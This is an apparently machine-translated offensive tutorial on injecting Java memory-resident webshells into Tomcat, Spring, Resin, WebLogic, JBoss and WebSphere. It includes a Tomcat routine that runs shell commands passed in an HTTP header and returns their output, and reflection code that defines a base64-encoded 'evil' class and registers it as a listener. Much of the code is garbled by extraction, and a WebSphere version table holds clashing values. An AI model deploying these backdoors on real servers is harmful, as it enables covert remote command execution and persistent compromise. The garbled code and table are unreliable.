1. Preface
Java memory shell injection is generally divided into two types
- Dynamically registers to add new listener/filter/servlet/controller, etc.
- Agent injection modifies existing class files, inserts malicious code
Before understanding memory shell injection, there are several concepts that need to be mastered.
- Class loading
- The double parent delegation problem and context
- Class reflection
2. Basic
2.1. class object
Java objects can be divided into two types of objects: Class objects and instance objects
- Information properties: From the perspective of the object, the Class object saves the runtime type information of each type, such as class
Name, properties, methods, parent class information, etc. In the JVM, a class corresponds to only one Class object - Universality: Class objects are objects of the java.lang.Class class, like other objects, we can get
And operate its references - Running-time uniqueness: Each time the JVM loads a class, it generates a corresponding Class object, stored in the heap, and the class
And its Class object have a one-to-one correspondence. Once a class is loaded into memory, it does not matter which way it is loaded,
Methods to obtain the Class object of the class, all of which return references to the same Class object on the Java heap.
The JVM will not create two Class objects of the same type
Class does not have a public constructor, and Class objects areDuring the class loading processJava Virtual Machine and through
Calls the classClassLoader's defineClass methodAutomatically constructed, so a Class object cannot be explicitly declared.
2.2.Class loading
A class needs to go through the following three stages to be loaded into memory and made available for use:
- Loading, which is determined by the classClassLoader (ClassLoader) executes Obtain the fully qualified name of a class
Take its defined binary byte stream (Class bytecode), and convert the static storage structure represented by this byte stream
Converted into a runtime data interface for methods, and according to the bytecode, generate a representation of this class in the Java heap
java.lang.Class object - linking. During the linking phase, the byte stream information in the Class file is verified to ensure that it conforms to the current virtual machine
requirement, allocate storage space for static fields and set the initial values (default zero values) of class variables, and
If necessary, convert the symbolic references in the constant pool into direct references. - Initialization. At this stage, the class-defined Java program code in the class actually begins to execute. It is used forExecute this
Static initializers and static initialization blocks of a classIf the class has a superclass, then the superclass is given priority to be initialized}}
Initialization
All classes are dynamically loaded into the JVM for the first time when they are used (lazy loading
Trigger class loading methods
- Class.forName("fully qualified name of the class")
- new class constructor
In addition to the above methods, bytecode loading over the network can be used to call external classes
- oadclass: Determine if it has been loaded, use the parent delegation model, request the parent loader, if both are empty, use
findclass - findclass: Load the .class bytecode according to the name or location, and then use defineClass
- defineclass: Parse the .class byte stream and return the class object
- The role of loadClass is to find the class from the loaded class cache, parent loader, and other locations (here it is actually
The parent delegation mechanism), if the class is not found in the previous step, execute findClass - The role of findClass is to load the bytecode of the class according to the specified method of the base URL, just like in the previous section
Mentioned, it may read bytecode from local file systems, jars, or remote http servers, and then pass
For defineClass - The role of defineClass is to process the bytecode passed in front, and convert it into a real Java class
Therefore, it is evident that the core part is actually defineClass, which determines how to convert a byte stream into
A Java class, Java's default ClassLoader#defineClass is a native method, with the logic in the JVM's C language
in the code
classloader recommendation
jxxload_help.PathVFSJavaLoader#loadClassFromBytes org.python.core.BytecodeLoader1#loadClassFromBytes sun.org.mozilla.javascript.internal.DefiningClassLoader#defineCl ass java.security.SecureClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.CodeSource) org.mozilla.classfile.DefiningClassLoader#defineClass org.mozilla.javascript.DefiningClassLoader com.sun.org.apache.bcel.internal.util.ClassLoader com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
Class loader is used to load classes (class) into JVM. The JVM specification defines two types of class loaders:
Bootstrap class loader (bootstrap) and user-defined class loader (user-defined class loader). JVM runs at runtime
It produces an initialization loader hierarchy consisting of 3 class loaders, as shown in the figure below:
//1. Get the system class loader ClassLoader classLoader = ClassLoader.getSystemClassLoader(); System.out.println(classLoader); //2. Get the parent class loader of the system class loader (extension class loader, can be obtained). classLoader = classLoader.getParent(); System.out.println(classLoader); //3. Get the parent class loader of the extension class loader (bootstrap class loader, cannot be obtained). classLoader = classLoader.getParent(); System.out.println(classLoader);
2.3. Class Reflection
It is actually to get the Class object, and then call the object to perform a series of operations
- Class: It is a class; a class that describes a class
- Encapsulates the description of the method of Method
- Describe the field of Field
- Describe the constructor and other properties of Constructor
How to get Class object
- Person.class
- person.getClass()
- Class.forName("com.atguigu.javase.Person")
About Method
How to get Method:
- getDeclaredMethods: Get the array of Method
- getDeclaredMethod(String methodName, Class<?>...
parameterTypes) can get public methods, private methods, and protected methods in the reflection class
Protect methods, default access, but do not get parent class methods - getMethod(String methodName, Class<?>... parameterTypes) can
Get all public methods in the reflection class and its parent class, but cannot get private methods
How to call Method
- If the method is decorated with 'private', you need to call the Method's
setAccessible(true), making it accessible - method.invoke(obj, Object ... args)
About Field
How to get Field: getField(String fieldName)
How to get the value of Field
- setAccessible(true)
- field.get(Object obj)
How to set the value of Field
- field.set(Obejct obj, Object val)
If the property is modified by final, you need to get the mofilers attribute of the Field, and convert the FINAL into
If the bundle is removed, it can be modified
ips:
Array reflection
Declare array object
Array.newInstance(int.class, 3);
Array class
Class intArray = Class.forName("[I"); Class byteArray = Class.forName("[B"); Class stringArrayClass = Class.forName("[Ljava.lang.String;"); // The above string can be observed by printing System.out.println(LinkOption[].class); // Output class [Ljava.nio.file.LinkOption; // Trick Class theClass = getClass(theClassName); Class stringArrayClass = Array.newInstance(theClass, 0).getClass();
Get array value
Array.get(obj, index);
2.4. Parent Delegation
The role of parent delegation:
- To ensure that the same class file is the same object when used, the JVM is designed to take
Used the parent delegation method to load classes, preventing the repeated loading of the same class. Generally, when the application starts
There will be a unified AppClassLoader to load the class in the project - Ensure that the boot class loader loads first to prevent the JDK's class from being tampered with
Break the parent delegation: The #loadClass method of ClassLoader is written in the parent delegation logic, just by inheriting
ClassLoaderRewrite the loadClass code to remove the parent delegationIt can break the double-parent delegation. It can also be broken through
defineclassBypass loadclass.
Tomcat class loader needs to break the double-parent delegation mechanism
Tomcat is a web container, which needs to solve the following problems
- A web container may need to deploy two or more applications, different applications may depend on
Different versions of the same third-party class library, so it is necessary to ensure that the class library of each application is independent and isolated from each other - The same class library of the same version deployed in the same web container can be shared, otherwise, there will be duplicate classes
The library is loaded into JVM - The web container also has its own class library, which cannot be confused with the class library of the application, and needs to be isolated from each other
- The web container supports that the jsp file does not need to be restarted after modification, the jsp file also needs to be compiled into .class files, and supports
HotSwap feature
- Architecture diagram
Tomcat's own class loader
- CommonClassLoader: The most basic class loader of Tomcat, the classes in the loading path can be loaded by Tomcat and
Each webapp accesses - CatalinaClassLoader: The Tomcat private class loader, which the webapp cannot access the loading path under
class, which is invisible to the webapp - SharedClassLoader: The class loader shared by all webapps, which is invisible to Tomcat
- WebappClassLoader: The webapp private class loader, which is only visible to the current webapp
- JspClassLoader
- Each web application corresponds to a WebappClassLoader, and each jsp file corresponds to one
JspClassLoader, so these two class loaders have multiple instances
There are 4 types of container components in Tomcat, from top to bottom they are:
- Engine, the implementation class is org.apache.catalina.core.StandardEngine
- Host, the implementation class is org.apache.catalina.core.StandardHost
- Context, the implementation class is org.apache.catalina.core.StandardContext
- Wrapper, the implementation class is org.apache.catalina.core.StandardWrapper
The meaning of 'from top to bottom' is that there is a parent-child relationship between them
- Engine: The top-level container component, which can contain multiple Hosts
- Host: A Host represents a virtual host, which can contain multiple Contexts
- Context: A Context represents a Web application, which can contain multiple Wrappers
- Wrapper: A Wrapper represents a Servlet
srping
3. Dynamic registration method injection
The construction ideas of memory horses for various protocols and components are actually quite similar
- Analyze the objects involved in processing the request, read its source code to see if you can get the request content, and whether you can
Control the response content - Then analyze how the object is registered in memory, and finally we just simulate this process
Can - The general process is request->context->addListener/addFilter
How can I get the current request object, the request object generally has context, and context contains
Generally, there are some registered component methods or variable storage
Problems need to be paid attention to
- If it is not a web-related class loader, it may occur a class loading error where the class cannot be found, which is because of the double parent
Delegation isolation - If the current context class loader is used, the same class name can only be loaded once
To solve the above two problems, it is necessary to create a new class loader based on the current context class loader.
The use of Mlet is one method
new javax.management.loading.MLet(new java.net.URL[0], conreq.getClass().getClassLoader())
Reference code
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] {byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(new javax.management.loading.MLet(new java.net.URL[0], conreq.getClass().getClassLoader()), new Object[]{classBytes,} new Integer(0), new Integer(classBytes.length)});
Before studying the middleware, it is better to understand the development history of the middleware, which versions, because different versions
The code in this book will definitely have different degrees of modification, whether your memory horse is compatible with each version is a question
3.1. Tomcat
Tomcat 5 cannot obtain catalinaLoader, so it is necessary to traverse all threads, and the following judgment can be used to obtain
The thread corresponding to Catalina, then continue to dig into the request class
for (int i = 0; i < threads.length; i++) { if (threads[i].getName().contains("ContainerBackgroundProcessor")) { o = getFieldValue(threads[i], "target"); if (!(o instanceof Runnable)) { continue; } } }
tomcat5-9
public static void echo() throws Exception{
Object o;
Object resp = null;
boolean done = false;
try {
java.lang.reflect.Method getThreadsM = ;
Thread.class.getDeclaredMethod("getThreads", new Class[0]);
getThreadsM.setAccessible(true);
Thread[] threads = (Thread[])
getThreadsM.invoke(null, new Object[0]);
for (int i = 0; i < threads.length; i++) {
String name = threads[i].getName();
if
(name.contains("ContainerBackgroundProcessor") ||
(!name.contains("exec") && name.contains("http"))) {
o = getFieldValue(threads[i], "target");
if (!(o instanceof Runnable)) {
continue;
}
try {
Object connectionHandler = null;
try {
Object[] connectors = (Object[])
getFieldValue(getFieldValue(getFieldValue(o, "this$0"),
"service"), "connectors");
for (int j = 0; j <
connectors.length; j++) {
Object connector = ;
connectors[j];
// tomcat5/6/7
connectionHandler = ;
getFieldValue(getFieldValue(connector, "protocolHandler"),
"cHandler");
if (connectionHandler == null) {
// tomcat8
connectionHandler = ;
getFieldValue(getFieldValue(connector, "protocolHandler"),
"handler");
}
break;
}
}
}
// tomcat9
connectionHandler = ;
getFieldValue(getFieldValue(o, "this$0"), "handler");
}
java.util.ArrayList processors =
(java.util.ArrayList)
getFieldValue(getFieldValue(connectionHandler, "global"),
"processors");
for (int j = 0; j < processors.size();
j++) {
Object processor =
processors.get(j);
Object req =
getFieldValue(processor, "req");
String s = (String)
req.getClass().getMethod("getHeader", new Class[]
{String.class}).invoke(req, new Object[]{"Accept-Encoded"});
if (s != null && !s.isEmpty()) {
Object conreq =
req.getClass().getMethod("getNote", new Class[]
{int.class}).invoke(req, new Object[]{new Integer(1)});
try {
resp =
conreq.getClass().getMethod("getResponse", new
Class[0]).invoke(conreq, new Object[0]);
} catch (Exception e) {
resp =
getFieldValue(getFieldValue(conreq, "request"), "response");
}
resp.getClass().getMethod("setStatus", new Class[]
{int.class}).invoke(resp, new Object[]{new Integer(200)});
resp.getClass().getMethod("addHeader", new Class[]
{String.class, String.class}).invoke(resp, new Object[]
{"Transfer-encoded", "chunked"});
done = true;
byte[] cmdBytes;
if (s.equals("echo") ) {
cmdBytes =
System.getProperties().toString().getBytes();
}
String[] cmd =
System.getProperty("os.name").toLowerCase().contains("window") ?
new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c",
s};
cmdBytes = new
java.util.Scanner(new
ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\\\
writeBody(resp, "======" + new
}
String(cmdBytes) + "======");
if (done) {
}
catch (Exception e) {
break;
}
}
}
continue;
}
}
}
} catch (Exception ex) {
writeBody(resp, ex.toString());
}
}
通过request获取context
// 获取context private static Object getContext(Object request) throws Exception { Object context = null; try { // all context = getFieldValue(request, "context"); } catch (Exception e) { try { // tomcat6 context = invoke(request, "getContext"); } catch (Exception ignored) { try { // tomcat7以上 context = invoke(request, "getServletContext"); } catch (Exception ignored1) { // resin3 context = invoke(request, "getWebApp"); } } } return context; } // Get standardContext Object applicationContextFacade = geContext(request); // Get ApplicationContext object Object applicationContext = getFieldValue(applicationContextFacade, "context"); // Get StandardContext object Object standardContext = getFieldValue(applicationContext, "context");
Add listener
getMethodByClass(standardContext.getClass(), "setApplicationEventListeners", Object[].class).invoke(standardContext, new Object[] {newListeners.toArray()});
3.2. Semi-automatic mining
https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
Tool link: https://github.com/lz520520/java-object-searcher
Introduce java-object-searcher-.jar into the classpath of the target application, or it can be placed in the jdk's ext directory
Record (one-time effort)
Write the call code to search for the target object
For example, to search for the request object, select the appropriate searcher and construct the keyword according to the characteristics of the target to be searched (required)
And blacklist (not required), you can write the following search code to execute in IDEA's Evaluate
// Set search type to include objects with Request keyword Class.forName("me.gv7.tools.josearcher.entity.Keyword"); java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new java.util.ArrayList(); keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type(" listener // Define blacklist java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new java.util.ArrayList(); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("java.io.File").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("Exception").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_name ("contextClassLoader").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type (\ blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("ExtClassLoader").build()); // Create a breadth-first search Thread.currentThread()searcher me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren tThread(), keys);
// SearchRequstByDFS searcher = new SearchRequstByDFS(Thread.currentThread(), keys); // Set blacklist searcher.setBlacklists(blacklists); //打开调试模式,会生成log日志 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(10); //设置报告保存位置 searcher.setReport_save_path("."); searcher.searchObject();
The beginning of the SearchRequstByBFS_log log file
For example, the request search of tomcat
3.3. spring
Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestCo" ntextHolder").getMethod("getRequestAttributes", new Class[0]).invoke(null, new Object[0]); Object httprequest = requestAttributes.getClass().getMethod("getRequest", new Class[0]).invoke(requestAttributes, new Object[0]); Object httpresponse = requestAttributes.getClass().getMethod("getResponse", new Class[0]).invoke(requestAttributes, new Object[0]); Object servletContext = httprequest.getClass().getMethod("getServletContext", new Class[0]).invoke(requestAttributes, new Object[0]);
3.4. resin
3.4.1. resin4 record
resin is very considerate, his com.caucho.server.webappWebAppThe class provides the add method directly,
Here is the call addListenerObject It can be added.
servletContext = invoke(httprequest, "getServletContext"); Object webApp = servletContext; Method addListenerObjectM = getMethodByClass(webApp.getClass(), "addListenerObject", new Class[]{Object.class, boolean.class}); // Instantiate and modify pwd java.lang.reflect.Method m = Class.forName("java.lang.C"+ "lassLoader").getDeclaredMethod("defin"+"eClass", byte[].class, int.class, int.class); m.setAccessible(true); Class clazz = (Class) m.invoke(new javax.management.loading.MLet(new java.net.URL[0], Thread.currentThread().getContextClassLoader()),clazzBytes, 0, clazzBytes.length); Object listener = clazz.newInstance(); addListenerObjectM.invoke(webApp, new Object[]{listener, true});
3.4.2. resin3 records
The process of adding resin3 and resin4 is basically the same. The difference lies in the method of obtaining WebApp, resin4 is
getServletContextWhile resin3 is getWebApp
servletContext = invoke(httpServletRequest, "getWebApp");
While resin3 still has a bug, if the listener calls response data writing, the response packet will
Currently chunked encoding, and it also includes the original Content-Length, which may cause parsing exceptions, as follows yakit acquisition
Until a response is received after 30 seconds of timeout
There is also a difference, as follows to obtain request, 3 and 4 obtain different implementation classes, 3 is
com.caucho.server.http.HttpRequestWhile 4 is
com.caucho.server.http.HttpServletRequestImpl
Thread.currentThread().getContextClassLoader().loadClass("com.ca ucho.server.dispatch.ServletInvocation quest()).invoke(null);
3.5. weblogic
3.5.1. 12.1.3 and above
ServletRequestImplIt is placed in currentWork->connectionHandler->request
While 10.3.6 is currentWork= ServletRequestImpl Here are the main differences, in addition to that,
10.3.6's context does not have phase
Object currentWork =((ExecuteThread) Thread.currentThread()).getCurrentWork(); Field connectionHandler = currentWork.getClass().getDeclaredField("connectionHandler"); connectionHandler.setAccessible(true); Object httpConnectionHandler = connectionHandler.get(currentWork); Field requestF = httpConnectionHandler.getClass().getDeclaredField("request"); requestF.setAccessible(true); httpConnectionHandler = requestF.get(httpConnectionHandler); java.lang.reflect.Field contextF = httpConnectionHandler.getClass().getDeclaredField("context"); contextF.setAccessible(true); WebAppServletContext webAppServletContext = (WebAppServletContext) contextF.get(httpConnectionHandler); byte[] evilClassBytes = new new BASE64Decoder().decodeBuffer("yv66"); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); defineClass.setAccessible(true); // Get the classLoader from webAppServletContext Field classLoaderF = webAppServletContext.getClass().getDeclaredField(\ classLoaderF.setAccessible(true); ClassLoader classLoader = (ClassLoader classLoaderF.get(webAppServletContext); Class servletClass = (Class) defineClass.invoke(classLoader, evilClassBytes, 0, evilClassBytes.length); Field phaseF = webAppServletContext.getClass().getDeclaredField("phase"); phaseF.setAccessible(true); Object INITIALIZER_STARTUP = Class.forName("weblogic.servlet.internal.WebAppServletContext$C ontextPhase).getDeclaredField("INITIALIZER_STARTUP").get(null); Object START = Class.forName("weblogic.servlet.internal.WebAppServletContext$C ontextPhase).getDeclaredField("START").get(null); Object OldContextPhase = phaseF.get(webAppServletContext); phaseF.set(webAppServletContext, INITIALIZER_STARTUP); webAppServletContext.registerListener("tools.mem.shells.listener", .testCmdListener phaseF.set(webAppServletContext, START);
After weblogic starts, in fact, higher versions do not allow the addition of listeners, and here it will check
If it is START indicating the completion of startup, an exception will be thrown here
checkNotifyDynamicContext It will check another item
This is for 12.1.3, and above 12.2.1.3 will increase AFTER_INITIALIZER_NOTIFY_LISTENER, this
Select from
3.6. jboss
The test AS6.1 can directly reuse the tomcat listener memory horse because tomcat is embedded in jboss
3.7. WebSphere
WebSphere version | WebSphere Liberty (Continuous Delivery) | 9.0 | 8.5.5 | 8.5 Liberty Profile | 8.5 | 8.0 | 7.0 | 6.1 | 6.0 | 5.1 | 5.0 | 4.0 | 3.5 |
Latest Fix Pack | 22.0.0.7 | 9.0.5.12 | 8.5.5.22 | 8.5.5.9 (the next is 16.0.0.2) | 8.5.0.2 | 8.0.0.15 | 7.0.0.45 | 6.1.0.47 | 6.0.2.43 | 5.1.1.19 | 5.0.2 | 4.0.7 | 3.5.7 |
Release date | 5 July 2022 | 7 June 2022 | 25 July 2022 | June 15, 2012 | June 15, 2012[5] | June 17, 2011 | October 17, 2008 | June 30, 2006 | December 31, 2004 | January 16, 2004 | January 3, 2003 | August 15, 2001 | August 31, 2000 |
End of support | June 24, 2016 (with the release of 16.0.0.2) [6] | April 30, 2018 | April 30, 2018 | September 30, 2013 | September 30, 2010 | September 30, 2008 | September 30, 2006 | April 30, 2005 | November 30, 2003 | ||||
Java SE | 6 (until 17.0.0.2), 7, 7.1, 8 and 11 (since 19.0.0.1) [10] | 8 | 6 (until 8.5.5.13), 7, 7.1 (since 8.5.5.2) and 8 (since 8.5.5.9) [11] | 6, 7, 7.1 (since 8.5.5.2) and 8 (since 8.5.5.5) | 6 and 7[12] | 6 | 6 | 5 | 1.4 | 1.4 | 1.4 | 1.3 | 1.2 |
Java EE | 6 (web profile) and 7[13] | 7 | 6 | 6 (web profile) and 7 (since 8.5.5.6) | 6 | 6 | 5 | 1.4 | 1.4 | 1.3 | 13 | 1.2 | 1.2 (not fully compliant) |
WebSphere version | WebSphere Liberty (Continuous Delivery) | 9.0 | 8.5.5 | 8.5 Liberty Profile | 8.5 | 8.0 | 7.0 | 2.4 | 6.0 | 5.1 | 5.0 | 4.0 | 3.5 |
Servlet | 3.0,3.1,4.0 | 3.1 | 3.0 | 3.1 | 3.0 | 3.0 | 2.5 | 2.0 | 2.4 | 2.3 | 2.3 | 2.2 | 2.1&2.2 |
JSP | 2.2, 2.3 | 2.3 | 2.2 | 2.3 | 2.2 | 2.2 | 2.1 | 1.1 | 2.0 | 1.2 | 1.2 | 1.1 | 0.91 and 1.0&1.1 |
JSF | 2.0, 2.2, 2.3 | 2.2 | 2.0 | 2.2 | 3.2 | 2.0 | 1.2 | 3.0 | 1.0 | ||||
EJB | 3.1 (lite), 3.2 | 3.2 | 3.1 | 3.2 | 1.1 | 3.1 | 3.0 | 3.0 | 2.1 | 2.0 | 2.0 | 1.1 | 1.0 |
JMS | 1.0, 2.0 | 2.0 | 1.1 | 1.1 | 4.1 | 1.1 | 1.1 | 1.1 | 1.1 | 1.02 | |||
JDBC | 4.0, 4.1 | 4.1 | 4.1 | 4.1 | 4.0 | 4.0 | 4.0 | 3.0 | 3.0 | ||||
JPA | 2.0, 2.1 | 2.0, 2.1[15] | 2.0 | 2.1 | 2.0 | 2.0 | 1.0 | 1.0 | 1.0 |
3.7.1. Echo
websphere7 cannot find a call chain like 8.5, wsThreadLocals does not have
WebContainerRequestState class, so I need to find the method, try to run the request in the thread, but did not find
https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Websphere/code/websphereEch
o.jsp
While analyzing the stack, I found a method to obtain the web container as follows
com.ibm.ws.webcontainer.WebContainer.getWebContainer()
Then find the current container context, as well as request and response
com.ibm.ws.webcontainer.WebContainer.getWebContainer().getConnec tionContext()
This context has a problem, after obtaining connContext, it needs to be initialized with WCCRequestImpl before you can get the true
Positive request, so this approach is not feasible
Continue to read and find that there is a static variable _cacheMap
This connection object pool will contain previously connected contexts, but it is not very useful, it just reuses connections, but still
To initialize req res as mentioned above
This method can also obtain the context
WebContainer.getFromCache(new StringBuffer("30.1.20.3:9080/visor_externo/class.jsp")
3.7.2. Semi-automatic search notes
Object webapp = (com.ibm.ws.webcontainer.webapp.WebGroupImpl)com.ibm.ws.webcontainer. ainer.WebContainer.getWebContainer().requestMapper.map(":9080/vi"}} sor_externo/*")).webApp; // Set search type to include objects with Request keyword Class.forName("me.gv7.tools.josearcher.entity.Keyword"); java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new java.util.ArrayList(); keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type(" listener // Define blacklist java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new java.util.ArrayList(); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("java.io.File").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("Exception").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_name ("contextClassLoader").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("CompoundClassLoader").build()); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type ("ExtClassLoader").build()); // Create a breadth-first search searcher for Thread.currentThread() me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren tThread(), keys); // SearchRequstByDFS searcher = new SearchRequstByDFS(Thread.currentThread(), keys); // Set blacklist searcher.setBlacklists(blacklists); //打开调试模式,会生成log日志 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(10); //设置报告保存位置 searcher.setReport_save_path("."); searcher.searchObject();
new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren tThread(),new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type(" listener
TargetObject = {com.ibm.ws.webcontainer.webapp.WebAppImpl} ---> javaColonCtxt = {javax.naming.InitialContext} ---> defaultInitCtx = {com.ibm.ws.naming.java.javaURLContextRoot} ---> _orb = {com.ibm.CORBA.iiop.ORB} ---> threadGroup = {java.lang.ThreadGroup} ---> childrenThreads = {class [Ljava.lang.Thread;} ---> [27] = {java.lang.Thread} ---> runnable = {com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector} ---> selector = {sun.nio.ch.EPollSelectorImpl} ---> fdToKey = {class java.util.HashMap} ---> [316] = {sun.nio.ch.SelectionKeyImpl} ---> attachment = {com.ibm.ws.tcp.channel.impl.TCPPort} ---> tcpChannel = {com.ibm.ws.tcp.channel.impl.AioTCPChannel} ---> inUse = {class [Lcom.ibm.ws.tcp.channel.impl.TCPChannelLinkedList;} ---> [0] = {com.ibm.ws.tcp.channel.impl.TCPChannelLinkedList} ---> voidLink = {java.util.LinkedList$Link} ---> previous = {java.util.LinkedList$Link} ---> data = {com.ibm.ws.tcp.channel.impl.TCPConnLink} ---> reader = {com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl} TargetObject = {com.ibm.ws.webcontainer.webapp.WebAppImpl} ---> javaColonCtxt = {javax.naming.InitialContext} ---> defaultInitCtx = {com.ibm.ws.naming.java.javaURLContextRoot} ---> _orb = {com.ibm.CORBA.iiop.ORB} ---> threadGroup = {java.lang.ThreadGroup} ---> childrenThreads = {class [Ljava.lang.Thread;}} ---> [27] = {java.lang.Thread} ---> runnable = {com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector} ---> selector = {sun.nio.ch.EPollSelectorImpl} ---> fdToKey = {class java.util.HashMap} ---> [316] = {sun.nio.ch.SelectionKeyImpl} ---> attachment = {com.ibm.ws.tcp.channel.impl.TCPPort} ---> tcpChannel = {com.ibm.ws.tcp.channel.impl.AioTCPChannel} ---> inUse = {class [Lcom.ibm.ws.tcp.channel.impl.TCPChannelLinkedList;} ---> [0] = {com.ibm.ws.tcp.channel.impl.TCPChannelLinkedList} ---> voidLink = {java.util.LinkedList$Link} ---> previous = {java.util.LinkedList$Link} ---> data = {com.ibm.ws.tcp.channel.impl.TCPConnLink} ---> writer = {com.ibm.ws.tcp.channel.impl.AioTCPWriteRequestContextImpl}
Class clazz = Class.forName("com.ibm.ws.webcontainer.WebContainer"); Object webContainer = clazz.getDeclaredMethod("getWebContainer").invoke(null); Object requestMapper = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(webContai ner,"requestMapper"); Object webGroup = requestMapper.getClass().getDeclaredMethod("map", String.class).invoke(requestMapper, ":9080/visor_externo/*"); Object webapp = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(webGroup, "webApp"); Object obj0 = webapp; // {javax.naming.InitialContext} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0, "jav") aColonCtxt; // {com.ibm.ws.naming.java.javaURLContextRoot} Object obj2 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1, "def") aultInitCtx; // {com.ibm.CORBA.iiop.ORB} Object obj3 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2, "_or") b; // {java.lang.ThreadGroup} Object obj4 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3, "thr") eadGroup; // {class [Ljava.lang.Thread;} Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4, "chi") ldrenThreads; // {com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector} Object obj7 = null; for (Thread thread : ((Thread[]) obj5)) { obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(thread, "r") unnable); if (obj7 != null && obj7.getClass().getName().contains("NBAcceptChannelSelector")) { break; } } // {sun.nio.ch.EPollSelectorImpl} Object obj8 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7, "sel") ector)}} // {class java.util.HashMap} Object obj9 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj8,"fdT oKey"); Object obj10 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(((Map) obj9).get(317),"attachment"); Object obj12 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj10,"tc pChannel"); Object obj13 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj12,"in Use"); Object obj15 = ((java.util.List) ((TCPChannelLinkedList[]) obj13)[0]).get(0); Object obj18 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj15,"re ader"); com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl req = (com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl) obj18; com.ibm.ws.http.channel.inbound.impl.HttpInboundLink myLink = (com.ibm.ws.http.channel.inbound.impl.HttpInboundLink) req.getTCPConnLink().getVirtualConnection().getStateMap().get(co m.ibm.ws.http.channel.impl.CallbackIDs.CALLBACK_HTTPICL); com.ibm.ws.webcontainer.channel.WCChannelLink wcChannelLink = (com.ibm.ws.webcontainer.channel.WCChannelLink) myLink.getApplicationCallback(); wcChannelLink.request.getHeader("xxx")
3.7.3. Context location based on request
TargetObject = {com.ibm.ws.webcontainer.srt.SRTServletRequest} ---> _dispatchContext = {com.ibm.ws.webcontainer.webapp.RootWebAppDispatcherContext} ---> _webapp = {com.ibm.ws.webcontainer.webapp.WebAppImpl} idea_express: Object obj0 = TargetObject; // {com.ibm.ws.webcontainer.webapp.RootWebAppDispatcherContext} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"_di") spatchContext()); // {com.ibm.ws.webcontainer.webapp.WebAppImpl} Object obj2 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"_we") bapp());
3.7.4. Request location based on Thread.currentThread()
This location has a problem, it is not the current request
